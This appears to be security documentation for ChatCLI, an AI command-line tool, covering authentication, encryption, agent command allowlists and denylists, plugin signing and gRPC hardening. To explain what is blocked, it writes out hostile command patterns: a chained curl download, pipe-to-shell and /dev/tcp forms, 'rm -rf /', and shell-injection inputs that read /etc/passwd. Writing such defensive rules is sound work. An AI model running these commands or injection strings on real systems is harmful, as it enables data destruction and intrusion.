Enterprise Security

ChatCLI is built with a defense-in-depth security architecture. This page documents every protection layer, how to configure them, and best practices for production environments.

Status means what it says. Active is on with no configuration. Opt-in exists and does nothing until you turn it on — most of the strongest controls here are opt-in on purpose, because the alternative is a default that surprises someone in production. Where a control is opt-in, the row says so and the section says how to enable it.

Security Overview

The table below summarizes all active protections across every layer of the stack.

Layer	Protection	Status
Authentication	JWT with RS256 or HS256, algorithm fixed by configuration and never by the token	Active
Authentication	JWT claim checks: expiry (required), not-before, issuer, audience	Active
Authentication	Legacy bearer token with constant-time comparison (`crypto/subtle`)	Active
Authentication	Per-IP rate limiting on authentication failures	Active
Authentication	OAuth 2.0 + PKCE for Anthropic, OpenAI, GitHub Copilot	Active
Authorization	Role-based access control (viewer / operator / admin)	Active
Authorization	An unrecognised role claim resolves to read-only, never to write	Active
Encryption	AES-256-GCM encryption for stored OAuth credentials	Active
Encryption	Credential key in the OS keychain instead of a file	Opt-in
Encryption	Encryption at rest for sessions, memory, contexts, transcripts, archives, costs	Opt-in
Transport	TLS 1.3 for gRPC and REST endpoints	Opt-in
Transport	Mutual TLS: the server requires and verifies a client certificate	Opt-in
Keychain	OS keychain integration (macOS Keychain, Linux secret-service, Windows Credential Manager)	Opt-in
Shell	POSIX quoting to prevent shell injection in arguments	Active
Editors	EDITOR validation against an allowlist of known editors	Active
Agent Commands	200+ command allowlist (strict mode, the default), applied to every command on the line	Active
Agent Commands	50+ denylist patterns, plus dynamic classification of inline interpreter code	Active
Agent Paths	Read path blocking outside the workspace directory	Active
Agent Shell	Shell config sourcing disabled by default	Active
Agent Output	Output sanitizer strips ANSI escape sequences and truncates large output	Active
Coder	Dangerous-command guard on every `@coder` subcommand that runs a shell line	Active
Coder	OS-level sandbox for `@coder exec` and `@coder test`	Opt-in
Policies	Word-boundary matching to prevent permission escalation	Active
Plugins	Ed25519 signature verification for plugin binaries	Active
Plugins	Signing toolchain: `chatcli plugin keygen`, `sign`, `verify`, `trust`	Active
Plugins	Quarantine window for newly seen unsigned plugins	Opt-in
gRPC	SSRF prevention with private IP blocking on provider URLs	Active
gRPC	Rate limiting (token bucket) per client IP	Active
gRPC	Maximum message size limits (send/receive)	Active
gRPC	Maximum concurrent stream limits	Active
gRPC	Input validation on every RPC, unary and streaming	Active
gRPC	Reflection disabled by default (hides service schema)	Active
gRPC	Fail-closed bind: refuses to serve an unauthenticated API on a reachable address	Active
Audit	Structured JSON audit logging, unary and streaming, naming the authenticated caller	Opt-in
Audit	Hash-chained, tamper-evident trail with `/config security verify-audit`	Opt-in
Binaries	`stty` resolved via `exec.LookPath` (prevents PATH injection)	Active
Containers	Read-only filesystem, no-new-privileges, drop ALL capabilities	Active
Kubernetes	Fail-closed authentication for operator webhooks	Active
Kubernetes	Resource type allowlist for operator actions, with a dangerous-type approval gate	Active
Kubernetes	Log scrubbing of secrets and tokens	Active
Kubernetes	CORS policy with configurable allowed origins	Opt-in
Kubernetes	RBAC namespace-scoped by default, restrictive SecurityContext	Active
Kubernetes	NetworkPolicy for pod-level network segmentation	Opt-in
Environment	Secret redaction on the LLM path	Active
History	Disable history recording for sensitive sessions	Opt-in
Session	Configurable session TTL with automatic expiration	Active
CI/CD	govulncheck, gosec, Dependabot, Cosign image signing	Active

Authentication and Authorization

JWT Authentication (Recommended)

The gRPC server verifies JWTs with configurable issuer, audience, and either a shared secret (HS256) or an RSA public key (RS256). JWTs carry a role claim that maps to an RBAC level.

HS256 (shared secret)
RS256 (RSA public key)
Via Helm

export CHATCLI_JWT_SECRET="your-256-bit-secret-key-here"
export CHATCLI_JWT_ISSUER="chatcli-server"
export CHATCLI_JWT_AUDIENCE="chatcli-api"
chatcli server

# Path to a PEM public key, or the PEM itself
export CHATCLI_JWT_PUBLIC_KEY=/etc/chatcli/jwt-public.pem
export CHATCLI_JWT_ISSUER="chatcli-server"
export CHATCLI_JWT_AUDIENCE="chatcli-api"
chatcli server

PKIX (PUBLIC KEY), PKCS#1 (RSA PUBLIC KEY) and an X.509 CERTIFICATE are all accepted. Several keys in one bundle are all trusted, so a key rotation runs with the outgoing and incoming key valid at the same time instead of needing a cutover.

# values.yaml
security:
  jwtSecretRef:              # HS256
    name: chatcli-jwt
    key: secret
  # …or RS256:
  # jwtPublicKeyRef:
  #   name: chatcli-jwt
  #   key: public.pem
  jwtIssuer: "chatcli-server"
  jwtAudience: "chatcli-api"

The algorithm comes from configuration, never from the token. A verifier that reads alg to decide how to check a signature is one an attacker chooses for: the RSA public key is public, so an HS256 token signed with that key as the HMAC secret would verify. ChatCLI configures exactly one algorithm and refuses any token declaring another — including none.Setting CHATCLI_JWT_PUBLIC_KEY selects RS256. Setting only CHATCLI_JWT_SECRET selects HS256, unless its value resolves to PEM key material, in which case it selects RS256 too. /config server prints which algorithm is in effect.

Issuer and audience are only checked when configured. Leaving them empty accepts any iss and aud, which means a token minted for a different service by the same issuer is accepted — set both wherever a signing key is shared.

RBAC Roles

Three built-in roles control access to API endpoints and operations:

Role claim	Level	Permissions	Typical use
`viewer`, `readonly`	read-only	Read access only; every write is refused	Dashboards, monitoring
`operator`, `user`	operational	Read plus day-to-day operations	On-call engineers
`admin`	full	Everything, including configuration and destructive operations	Platform admins

Each level has two accepted spellings, and they are exact aliases — viewer and readonly grant the same thing.

An unrecognised role resolves to read-only. A token whose role claim is a value this server does not know — a typo in an issuer’s configuration, or a role from another system — is granted the lowest level, and the server logs the claim it did not recognise. That is the direction such a mistake has to fail; the alternative is that misspelling viewer grants write access.A token carrying no role claim at all keeps the historical operational level, so tokens minted before roles existed are not locked out on upgrade. Issue tokens with an explicit role.

The /Health endpoint is always accessible without authentication to support load balancer and orchestrator health checks.

Legacy Bearer Token

For simpler deployments, the server supports static bearer token authentication with constant-time comparison (crypto/subtle.ConstantTimeCompare), preventing timing attacks.

Via flag
Via environment variable

chatcli server --token my-secret-token

export CHATCLI_SERVER_TOKEN=my-secret-token
chatcli server

OAuth 2.0 + PKCE

ChatCLI supports OAuth 2.0 with PKCE for the following providers:

Provider	Flow	Token Storage
Anthropic	Authorization Code + PKCE	AES-256-GCM encrypted file
OpenAI	Authorization Code + PKCE	AES-256-GCM encrypted file
GitHub Copilot	Device Code Flow	AES-256-GCM encrypted file

# Interactive OAuth login
/auth login anthropic
/auth login openai
/auth login github-copilot

OAuth tokens are automatically refreshed before expiration. The refresh flow uses a plain HTTP client (no logging transport) with the appropriate User-Agent header to avoid Cloudflare issues.

Encryption and Data Protection

AES-256-GCM Credential Encryption

All OAuth credentials are encrypted at rest using AES-256-GCM in ~/.chatcli/auth-profiles.json. The encryption key is automatically generated and stored with strict permissions.

File	Permission	Content
`~/.chatcli/auth-profiles.json`	`0600`	AES-256-GCM encrypted OAuth credentials
`~/.chatcli/.auth-key`	`0600`	AES-256-GCM encryption key
`~/.chatcli/coder_policy.json`	`0600`	Coder policy rules

Encryption at Rest (sessions, memory, contexts, archives, costs)

One key covers every store, derived per store class with HKDF — there is no separate key per profile. It is opt-in and off until CHATCLI_ENCRYPTION_KEY is set.

Version 2 payloads are bound to their store. A sealed file carries, as authenticated data, its relative store path and tenant slug: a session, memory or park file copied from one tenant’s directory into another’s (or renamed) no longer opens as if it belonged there. Secrets shorter than 32 bytes are treated as passphrases and stretched with Argon2id before key derivation; a random key of at least 32 bytes keeps the direct derivation, so the documented key stays best practice. Version-1 payloads keep loading and are rewritten as bound v2 by their next save or by /config security reseal, which now fsyncs. Tenant roots carry a 16-byte digest (roots created with the older short digest keep being used). Encryption at rest is an explicit opt-in: it is active while CHATCLI_ENCRYPTION_KEY is set in the process environment. When it is, every store that embeds conversation content is sealed before it touches disk and opened transparently on read:

saved sessions (/session save, /session attach write-through)
exit autosaves and MCP/ACP session mirrors (autosave-*, mcp-*)
agent park snapshots (/park, /resume)
the transcript journal (line by line) and /memory export files
long-term memory JSON stores (facts, episodes, profile, topics, projects, patterns, graph cache, compactor state — daily notes and rollups stay human-editable Markdown)
knowledge contexts (~/.chatcli/contexts/*.json; /context export files stay plaintext on purpose)
the CCR archive (~/.chatcli/ccr/*.ccr, the originals behind @recall)
cost snapshots (~/.chatcli/costs/*.json)

The conversation hub database (SQLite) is the remaining plaintext store; keep it on an encrypted volume.

export CHATCLI_ENCRYPTION_KEY="a-long-random-secret"

Format: CHATCLI_ENC_v1 header + 12-byte nonce + AES-256-GCM ciphertext. The key is derived with HKDF-SHA256 from SHA-256(CHATCLI_ENCRYPTION_KEY); the secret itself is never written anywhere.

Transparent migration. Plaintext files written before the key existed keep loading and are re-written encrypted on their next save. An encrypted file opened without the key fails with a clear error naming CHATCLI_ENCRYPTION_KEY — it is never silently treated as empty or corrupt.Persisted redaction and the REPL history. Secret redaction always runs on the LLM path; under CHATCLI_ENV_REDACT_MODE=strict it also masks what ChatCLI persists for itself — session files, the transcript journal, CCR archives, hub mirrors — always on a copy, never the live history (the permissive default keeps stores verbatim so /rewind and exports stay faithful). The redactor covers Slack tokens and webhooks, PEM private keys, connection strings with credentials, AWS secret keys, GCP service-account key ids and Azure account/SAS keys. With the at-rest key set, the REPL prompt history (.chatcli_history) is sealed line by line. Retention re-runs every 6 h in the gateway daemon and expires tenant parks, sessions and queued memory segments past the session window (your own named sessions are never touched).Read-only latch. A memory store whose sealed file this process cannot open (key unset, wrong, or retired without CHATCLI_ENCRYPTION_KEY_PREVIOUS) is locked: it loads empty in memory, logs an error, refuses every write, and is listed under “Locked stores” in /config security and /memory stats. A gateway daemon, a cron job or a shell started without the key can therefore never overwrite your memory. Daily notes and rollups stay plain Markdown by contract; the memory worker’s pending queue is redacted and sealed like the other stores.

Key rotation

Set the new secret in CHATCLI_ENCRYPTION_KEY and list the retired one in CHATCLI_ENCRYPTION_KEY_PREVIOUS (comma-separated when several). Reads try the current key first, then the retired ones; writes always use the current key.
Run /config security reseal: every store file under the state root (sessions, transcripts, memory, contexts, CCR, costs — per tenant under the gateway) is rewritten with the current key; plaintext files get sealed on the way. The command reports how many files changed and the key fingerprint.
Unset CHATCLI_ENCRYPTION_KEY_PREVIOUS.

/config security shows whether encryption is on, the current key’s fingerprint, how many retired keys are configured and what the seal covers.

Tamper-evident audit trail

Every line of the audit trail (CHATCLI_AUDIT_LOG_PATH) carries seq, prev_hash, chain_v and hash — hash = SHA-256(prev_hash ‖ canonical sorted-key JSON of the entry), a form independent of which process wrote it. An edited, removed or reordered line breaks the chain from that point on. Several writers share one file safely: every append takes an exclusive file lock, re-reads the tail when the file changed under it (another writer appended, or the file rotated) and only then links the new line — the REPL, a gateway daemon and the gRPC server (kind: "grpc") form one chain. The file rotates at 64 MiB; the first line of the new file names the file it continues (rotated_from) and links to its last hash, so verification follows the boundary, and the retention pass removes rotated files past the session window (the live file is never touched). With encryption at rest enabled every line is sealed on disk (enc: prefix) and opened transparently on verify. A torn last line (a crash mid-write) is reported as such, never as tampering, and the next entry continues from the last complete line. /config security verify-audit [path] re-hashes the trail and reports the first broken line, the sealed count, the rotation origin, a torn tail and the rotated siblings; trails written before the shared chain still verify with their original hash.

TLS 1.3 Transport Security

Server TLS
Mutual TLS (mTLS)
Development (no TLS)

chatcli server --tls-cert cert.pem --tls-key key.pem

Mutual TLS has two halves, and both are needed. On the server, a client CA bundle makes a verified client certificate mandatory:

chatcli server \
  --tls-cert server-cert.pem \
  --tls-key server-key.pem \
  --tls-client-ca ca.pem        # env: CHATCLI_SERVER_TLS_CLIENT_CA

On the client, the certificate to present:

export CHATCLI_TLS_CLIENT_CERT=/path/to/client-cert.pem
export CHATCLI_TLS_CLIENT_KEY=/path/to/client-key.pem
chatcli connect server:50051 --tls --ca-cert ca.pem

A client CA that fails to load is fatal: the server refuses to start rather than come up accepting anonymous callers on a deployment configured for the opposite. A client CA without --tls-cert and --tls-key is also fatal — there is no handshake to carry a client certificate.

chatcli server  # Warning logged when client connects without TLS

When the client connects without TLS, a warning is emitted to remind about production use. Functional behavior is unchanged.

If TLS certificate loading fails, the error is written to both stderr and the structured log, including the cert and key paths. In containers, this ensures the error is visible via kubectl logs even if the structured logger cannot flush before the crash.

Secret Redaction on the LLM Path

Content the model receives without the user retyping it passes through one redaction chokepoint before it leaves the process: tool outputs in agent/coder mode (file reads, exec, plugins, MCP), squad worker tool outputs, the @file/@git/@env context assembled in chat, and the conversation segment handed to the memory extractor — so a secret pasted into a conversation is neither sent out again nor distilled into a persisted fact. Two layers compose. KEY=VALUE lines (env dumps, .env files, compose/CI logs) are judged by name — AWS_SECRET_ACCESS_KEY, DATABASE_URL, anything ending in _TOKEN, _PASSWORD, _KEY — plus value heuristics (known prefixes, long hex). Free text is scanned for the value shapes providers hand out (sk-…, ghp_…, AKIA…, JWTs, bearer headers, credential fields in JSON).

# permissive (default): name denylist + value shapes
# strict: additionally redacts every KEY=VALUE line whose name is not on the known-safe allowlist (HOME, PATH, GOPATH, …)
# off: disables this chokepoint (the regex pass on exec output stays)
export CHATCLI_ENV_REDACT_MODE=permissive

# Extra name fragments to treat as sensitive (comma-separated, case-insensitive substring match)
export CHATCLI_REDACT_PATTERNS="INTERNAL_SECRET,MY_TOKEN"

Humans still see the full output in the terminal and PostToolUse hooks still receive it; only the model’s copy is redacted.

OS Keychain Integration

The key that encrypts stored OAuth credentials (~/.chatcli/auth-profiles.json) can live in the OS keychain instead of a file:

# Options: "auto" (default), "file", "keychain"
export CHATCLI_KEYCHAIN_BACKEND=keychain

Backend	macOS	Linux	Windows
`keychain`	Keychain (`security`)	secret-service (`secret-tool`)	Credential Manager (advapi32)
`file`	`~/.chatcli/.auth-key`	`~/.chatcli/.auth-key`	`%USERPROFILE%\.chatcli\.auth-key`
`auto`	existing file key kept; a new key goes to the keychain when one is available	same	same

The three backends differ in what happens to a key that already exists on disk:

file — the file, always. The keychain is never consulted.
keychain — the keychain. A key already on disk is migrated into it once, and the file is removed only after the keychain has handed that key back. A write that appeared to succeed and a read that returned nothing would otherwise leave credentials no future process can decrypt.
auto (default) — an existing file key keeps being used, untouched. Only a key being created for the first time goes to the keychain, and only where one is available. Relocating a working installation’s key without being asked is not a default’s business.

Every failure keeps the file: an unreachable keychain, a refused write, a lost write, or a stored value that is not a 32-byte key all leave the on-disk key exactly where it is, with one warning per process. /config server prints the backend actually in effect, which is not always the one requested.

Windows support uses the Credential Manager API directly (CredReadW/CredWriteW/CredDeleteW), because cmdkey can create and list credentials but never reveals a secret. Entries are stored per machine rather than roaming.

Agent Mode Security

Command Allowlist (Strict Mode)

Strict mode is the default. Only commands on the allowlist run — and the rule applies to every command on the line, not just the first one. A line is a sequence of invocations, so checking only the leading word would make any allowed command a passphrase for the rest of it:

ls && curl http://example.com/x -o /tmp/x   # refused: curl is not on the list
echo hi; npx whatever                        # refused: npx is checked too
go build ./... && go test ./...              # allowed: both are on the list
echo "a && b"                                # allowed: a quoted operator is not a chain

Decomposition uses a real shell parser, so quoting, heredocs, subshells and escaped operators are read the way the shell reads them. A line the parser cannot read falls back to checking the leading command only — a host whose shell is not bash would otherwise lose every command — and the denylist below still applies to the whole line. The default allowlist holds around 200 commands:

File operations

ls, cat, head, tail, wc, find, file, stat, du, df, tree, mkdir,
cp, mv, touch, rm, ln, chmod, chown, basename, dirname, realpath,
readlink, cmp, md5sum, sha1sum, sha256sum

Text processing

grep, rg, ag, sed, awk, sort, uniq, cut, tr, diff, jq, yq, xargs,
tee, paste, column, fmt, fold, expand, unexpand, comm, join, nl,
rev, look, strings, od, xxd, hexdump, base64, openssl, xmllint, csvtool

Development tools

go, git, make, npm, npx, yarn, pnpm, bun, deno, node, tsc,
python, python3, pip, pip3, poetry, pytest,
cargo, rustc, rustup, zig, javac, java, mvn, gradle, kotlinc,
gcc, g++, clang, cmake, swift, swiftc, dotnet,
ruby, gem, bundle, php, composer,
gofmt, golint, gopls, eslint, prettier, black, jest, mocha

Containers and infrastructure

docker, docker-compose, podman, kubectl, helm, kustomize, oc,
terraform, terragrunt, kind, minikube, skaffold,
eksctl, gcloud, aws, az, istioctl, argocd, flux

Network

curl, wget, dig, nslookup, host, whois, ping, traceroute,
ssh, scp, rsync, nc, netstat, ss

System information

uname, whoami, id, groups, hostname, date, cal, env, printenv,
uptime, free, top, ps, which, whereis, lsof, ulimit, locale,
getconf, arch, nproc, lscpu, lsblk, mount, lsusb

Editors and viewers

code, vim, vi, nvim, nano, emacs, less, more, bat

Shell built-ins and navigation

echo, printf, test, [, true, false, :, sleep, seq, yes, timeout,
watch, time, strace, export, set, unset, alias, type, command,
cd, pwd, pushd, popd, dirs, wait, read, shift, jobs,
clear, reset, tput, stty,
source, eval, exec, sh, bash, zsh

The allowlist is not a capability list. It includes shell interpreters (sh, bash, zsh), eval, exec, source and rm, because ordinary development work uses them. What actually stops a destructive command is the denylist below, which runs on every line in both modes, and — where you enable it — the coder sandbox.If you need a genuinely restricted surface, do not rely on strict mode alone: run ChatCLI in a container, enable CHATCLI_CODER_SANDBOX, and keep CHATCLI_AGENT_WORKSPACE_STRICT on.

# Strict mode (allowlist) is the default
export CHATCLI_AGENT_SECURITY_MODE=strict

# Permissive mode: unknown commands fall through to the denylist
export CHATCLI_AGENT_SECURITY_MODE=permissive

Custom Allowlist

Extend the allowlist with your own commands. Commas and semicolons both work:

export CHATCLI_AGENT_ALLOWLIST="mycli,internal-tool,company-deploy"
# or
export CHATCLI_AGENT_ALLOWLIST="mycli;internal-tool;company-deploy"

Denylist Patterns

The denylist is not limited to permissive mode: it runs on every command in both modes, as the layer that actually refuses destructive work. Around 50 patterns:

Category	Examples
Data destruction	`rm -rf /`, `dd if=`, `mkfs`, `drop database`
Remote execution	`curl \| bash`, `wget \| sh`, `base64 \| bash`
Command substitution	`$(curl ...)`, `wget ...`, `$(bash ...)`
Process substitution	`<(cmd)`, `>(cmd)`
Privilege escalation	`sudo`, `chmod 777 /`, `chown -R /`
Network manipulation	`nc -l`, `iptables -F`, `/dev/tcp/`
Kernel	`insmod`, `modprobe`, `rmmod`, `sysctl -w`
Evasion	`${IFS;cmd}`, `VAR=x; bash`, `export PATH=`
Shell evaluation	`eval` , `source /dev/tcp`

Inline interpreter code is classified, not pattern-matched. In agent mode, python -c, perl -e, ruby -e, node -e and php -r are no longer blocked by a regex on the invocation — the inline source is analysed and only high-risk code is refused, so python -c "print(1)" runs and python -c "import os; os.system(...)" does not. The @coder path keeps the stricter regex form and refuses the whole family.

# Add custom denylist patterns
export CHATCLI_AGENT_DENYLIST="terraform destroy;kubectl delete namespace"

# Allow sudo (use with caution)
export CHATCLI_AGENT_ALLOW_SUDO=true

Read Path Blocking

In strict workspace mode, the agent can only read files within the current workspace directory:

# Workspace confinement is on by default; set false to lift it
export CHATCLI_AGENT_WORKSPACE_STRICT=true

# Extra allowed read paths. On Unix both ':' and ';' separate; on Windows
# only ';' does, because ':' separates a drive letter from its path.
export CHATCLI_AGENT_EXTRA_READ_PATHS="/etc/hosts:/usr/local/share/config"

Shell Configuration Sourcing

By default, shell configuration files (~/.bashrc, ~/.zshrc) are not sourced during agent command execution to prevent malicious aliases and functions:

# Enable shell config sourcing (only if you trust your shell config)
export CHATCLI_AGENT_SOURCE_SHELL_CONFIG=true

Input guard — typeahead protection in security prompts

When a security box appears (coder/agent mode), three layers defend against accidental typing being consumed as a y/n response:

Flush kernel TTY — TCIFLUSH (Linux) / TIOCFLUSH (BSD/Darwin) / FlushConsoleInputBuffer (Windows) discards bytes in the kernel queue before the box renders.
Drain channel — empties the centralized non-blocking stdin channel (the 10-line buffer the reader goroutine uses).
Intent debounce — discards any input that arrives in the first 250ms after the box is drawn (minimum human reaction window).

Without these layers, accidentally typing during the LLM stream would let the security box consume the queued bytes as approval. The first time this happened motivated the input guard. Additionally, at the start of every agent turn, ChatCLI runs stty sane on the controlling /dev/tty to recover from a prior go-prompt teardown that may have left the terminal in raw mode (echo off). Without this reset, you type and don’t see characters on screen — even though the kernel is capturing them.

Output Sanitizer

Agent command output is sanitized before being sent to the LLM:

ANSI escape sequences are stripped
Output is truncated to prevent context overflow

# Maximum command output size in bytes (default: 102400)
export CHATCLI_MAX_COMMAND_OUTPUT=102400

EDITOR Validation

When the user edits commands in agent mode, the EDITOR variable is validated against an allowlist of known editors:

vim, vi, nvim, nano, emacs, code, subl, micro, helix, hx,
ed, pico, joe, ne, kate, gedit, kwrite, notepad++, atom

If EDITOR contains an unknown value (e.g., EDITOR="/tmp/exploit.sh"), the operation is refused with an error. The validated editor is then resolved via exec.LookPath to obtain the absolute path.

Kubeconfig Access Control

Control whether agent commands can access kubeconfig:

# Allow kubeconfig access in agent mode (default: false)
export CHATCLI_AGENT_ALLOW_KUBECONFIG=true

Shell Injection Protection

All code paths where dynamic values are interpolated into shell commands use the utils.ShellQuote() function, which applies POSIX quoting with single quotes:

// Input:  it's a "test" $(whoami)
// Output: 'it'\''s a "test" $(whoami)'

This protects against:

Quote injection: '; rm -rf /; echo '
Command substitution: $(malicious) or `malicious`
Variable expansion: $HOME, ${PATH}
Pipe/redirection: | cat /etc/passwd, > /etc/crontab

Binary Resolution via LookPath

The stty binary (used to restore the terminal) is resolved once at startup via exec.LookPath("stty"), returning the absolute path. This prevents an attacker from placing a malicious stty in the PATH.

Plugin Security

Ed25519 Signature Verification

Plugin binaries are verified with Ed25519 signatures. A plugin is signed with a developer’s private key, and the matching public key must be registered on every machine that installs it.

Generate a signing key pair

chatcli plugin keygen --output ~/.chatcli/plugin-keys/
# writes plugin-signing.key (0600) and plugin-signing.pub (0644)

Keygen refuses to overwrite an existing private key: regenerating over one silently invalidates every signature made with it.

Sign the plugin

chatcli plugin sign \
  --binary ./my-plugin \
  --key ~/.chatcli/plugin-keys/plugin-signing.key
# writes ./my-plugin.sig

chatcli plugin trust --key plugin-signing.pub --name acme
# → ~/.chatcli/trusted-keys/acme.pub

Without this step a signature is unverifiable: the verifier only reads keys it finds in the trusted directory.

Distribute and check

my-plugin          # plugin binary
my-plugin.sig      # Ed25519 signature

chatcli plugin verify --binary ./my-plugin

Verify reports which of three things is wrong — no signature, no trusted key to check it against, or a signature that does not match — because they call for different fixes. ChatCLI runs the same check whenever it loads the plugins directory.

What happens to an unsigned plugin

Situation	`CHATCLI_ALLOW_UNSIGNED_PLUGINS=false` (default)	`=true`
Signed, key trusted, signature matches	Loads	Loads
Signed, signature does not match a trusted key	Refused	Refused
Signed, but this machine trusts no key	Refused	Loads (a signature nothing can check is not evidence)
Unsigned	Refused	Loads, subject to quarantine

With the default in place and no trusted key registered, no external plugin loads at all. That is the intended posture, and it means adopting plugins is a deliberate act: sign them and register the key, or set CHATCLI_ALLOW_UNSIGNED_PLUGINS=true and accept what that means.

Quarantine for Unsigned Plugins

A newly seen unsigned plugin can be held out of the runtime for a window — the gap between a binary appearing in the plugins directory and that binary running with ChatCLI’s permissions.

# a duration, or "on" for the 24h default; "off" (the default) disables it
export CHATCLI_PLUGIN_QUARANTINE=24h

chatcli plugin quarantine                      # what is waiting, and for how long
chatcli plugin quarantine release my-plugin    # admit a reviewed binary now

/plugin quarantine [release <name>] does the same inside the REPL.

It applies only to unsigned plugins, and only where CHATCLI_ALLOW_UNSIGNED_PLUGINS=true already tolerates them. A verified signature is a stronger statement than any waiting period.
Replacing a binary restarts its wait. The review was of the bytes, not of the filename.
A release records that a human vouched for those exact bytes; state survives a restart, so waiting periods do not reset when ChatCLI starts.

Quarantine is off by default. A delay between installing a plugin and using it is a real cost, and imposing it on everyone to harden a mode that is itself opt-in would trade a certain annoyance for a speculative gain. Turn it on where unsigned plugins are tolerated but unreviewed ones are not.

What plugin sandboxing does not do

There is no per-plugin permission manifest. A plugin is a separate executable that ChatCLI launches, and it runs with the same permissions as ChatCLI itself — the same filesystem, the same network, the same ability to start processes. Nothing constrains an individual plugin to a declared set of capabilities.The controls that do apply are the ones above: a signature says who produced the binary, and quarantine delays an unreviewed one. Neither limits what a plugin does once it runs. Treat installing a plugin as equivalent to running its author’s code on your machine, because that is what it is. Where that is not acceptable, run ChatCLI itself inside a container with the access you are willing to grant.

gRPC Server Security

SSRF Prevention

Provider URLs a client supplies are checked before the server will use them, so a caller cannot point the server at an internal address. The web-fetching tools apply their own dial-time check, including redirects and DNS rebinding. Blocked ranges:

10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918)
127.0.0.0/8 (loopback)
169.254.0.0/16 (link-local, including cloud metadata endpoints)
::1/128, fc00::/7 (IPv6 private)

# Allow HTTP providers (disable SSRF check for trusted internal networks)
export CHATCLI_ALLOW_HTTP_PROVIDERS=true

Rate Limiting

Token-bucket rate limiting protects against abuse and DoS:

# Requests per second (sustained rate)
export CHATCLI_RATE_LIMIT_RPS=10

# Burst capacity (peak requests, default: 20)
export CHATCLI_RATE_LIMIT_BURST=20

Message Size Limits

Prevent memory exhaustion from oversized messages:

# Maximum receive message size in bytes (default: 52428800 = 50MB)
export CHATCLI_MAX_RECV_MSG_SIZE=52428800

# Maximum send message size in bytes (default: 52428800 = 50MB)
export CHATCLI_MAX_SEND_MSG_SIZE=52428800

# Maximum concurrent streams per connection (default: 100)
export CHATCLI_MAX_CONCURRENT_STREAMS=100

The 50MB default exists because a long-context prompt with history and cache markers passes a few megabytes easily; a 4MB cap would refuse ordinary requests. Lower it wherever the server does not carry long contexts — it is the cheapest bound on memory a caller can force the process to allocate.

Input Validation

Every RPC the service exposes has a validator, and a test walks the generated service descriptor to keep it that way — a new RPC cannot ship without someone deciding how its request is bounded.

String and byte-length limits on every text field
Repeated fields bounded (conversation history, insight recommendations, metadata maps)
Enum validation for severity
Kubernetes naming rules (RFC 1123) for namespaces, object names and kinds
Numeric ranges for risk scores, step counters and page limits

Streaming RPCs are validated too. A stream interceptor never sees the messages itself, so validation wraps the stream and checks each one as it arrives. That covers the single request of a server-streaming RPC and every message of the bidirectional session — the only path where one connection can keep sending for as long as it stays open.

Audit Logging

All sensitive operations are recorded in structured JSON audit logs:

# Path for audit log file
export CHATCLI_AUDIT_LOG_PATH=/var/log/chatcli/audit.json

Example audit log entry:

{
  "timestamp": "2026-09-05T10:30:00.412Z",
  "kind": "grpc",
  "request_id": "0f0b7b1e-6f61-4a2e-9a0f-6f9c0e2f1a77",
  "action": "DeleteSession",
  "actor": "user:admin@example.com",
  "role": "admin",
  "ip": "10.0.1.50",
  "client_id": "admin@example.com",
  "method": "/chatcli.v1.ChatCLIService/DeleteSession",
  "resource": "release-notes",
  "result": "success",
  "duration": "12.4ms",
  "seq": 418,
  "prev_hash": "…",
  "hash": "…"
}

result distinguishes success, error and denied — a call authentication refused is a security event and does not read like a handler failure. Streaming RPCs produce an entry too, with details.stream and the number of messages received.

LLM request trail (every surface, every provider)

The gRPC audit above records transport metadata. With the same CHATCLI_AUDIT_LOG_PATH, the CLI also records every LLM request on every surface — REPL, one-shot, gateway, MCP/ACP server, squad workers — as kind: "llm" lines in the same file, one on send and one on receive. The sink hangs off the observability chokepoint all fifteen provider adapters pass through, so a new provider is audited the day it ships. A line carries when, provider and model, payload size, history length, cache markers, outcome, latency, the token usage the provider reported and the running total of secrets the LLM-path redactor rewrote in this process — never the prompt content.

{"timestamp":"2026-09-03T18:20:11.482Z","kind":"llm","phase":"send","surface":"repl","session":"20260903-181004-51234","provider":"CLAUDEAI","model":"claude-sonnet-5","redactions_total":2,"fields":{"payload_bytes":"48211","history_len":"23","cache_markers":"4","max_tokens":"16000"}}
{"timestamp":"2026-09-03T18:20:14.905Z","kind":"llm","phase":"recv","surface":"repl","session":"20260903-181004-51234","provider":"CLAUDEAI","model":"claude-sonnet-5","status":"success","duration_ms":3423,"redactions_total":2,"fields":{"prompt_tokens":"11840","completion_tokens":"512","cache_read_input_tokens":"11210"}}

The path must be absolute; a relative value disables the trail with a logged error. The file is created 0600 and appended by every process that shares the path.

Bind Address

Control which network interface the server listens on:

# Default: listen only on localhost (secure for local/CLI use)
export CHATCLI_BIND_ADDRESS=127.0.0.1

# In Kubernetes: auto-detected via KUBERNETES_SERVICE_HOST, defaults to 0.0.0.0
# No configuration needed!

# Manually expose on all interfaces (use only with TLS + auth)
export CHATCLI_BIND_ADDRESS=0.0.0.0

In Kubernetes, the bind address is automatically set to 0.0.0.0 — no manual configuration required. The server detects the environment via the KUBERNETES_SERVICE_HOST variable.

Interceptor Chain

All requests pass through a chain of gRPC interceptors:

Validation

Bounds every field of the request against the RPC’s validator, before anything else touches it.

Rate Limiting

Token-bucket rate limiter per client IP.

Audit

Wraps everything inward so it records refusals as well as successes, and names the caller authentication resolves further in.

Recovery

Captures panics and returns a gRPC error instead of crashing the server.

Logging

Records method, duration and status of each request.

Auth

Validates the JWT or bearer token and attaches the caller’s role.

RBAC is not an interceptor: each handler asks for the level it needs, because the answer depends on what the call does rather than on which method was invoked.

gRPC Reflection (Disabled by Default)

gRPC reflection exposes the full service schema, allowing tools like grpcurl and grpcui to discover and call all RPCs. In production, this can facilitate reconnaissance by attackers.

By default, reflection is disabled. Enable only for local debugging.

export CHATCLI_GRPC_REFLECTION=true

Kubernetes Operator Security

Fail-Closed Authentication

The operator webhook uses fail-closed authentication: if the authentication service is unavailable, all requests are denied. This prevents unauthorized access during outages. API keys are hot-reloaded every 30 seconds with the following priority order:

Secret chatcli-operator-secrets (priority) — api-keys field containing a YAML list of {key, role, description} entries
ConfigMap chatcli-operator-config (fallback) — same api-keys field
Reject the request (or accept in dev-mode if CHATCLI_OPERATOR_DEV_MODE=true)

Don’t confuse the two Auth Secrets — both typically live in the operator’s namespace:

Secret	Purpose	Consumer	Field
`chatcli-operator-secrets`	Operator REST API auth (dashboard, `/api/v1/*`)	operator pod (this chapter)	`api-keys` (YAML)
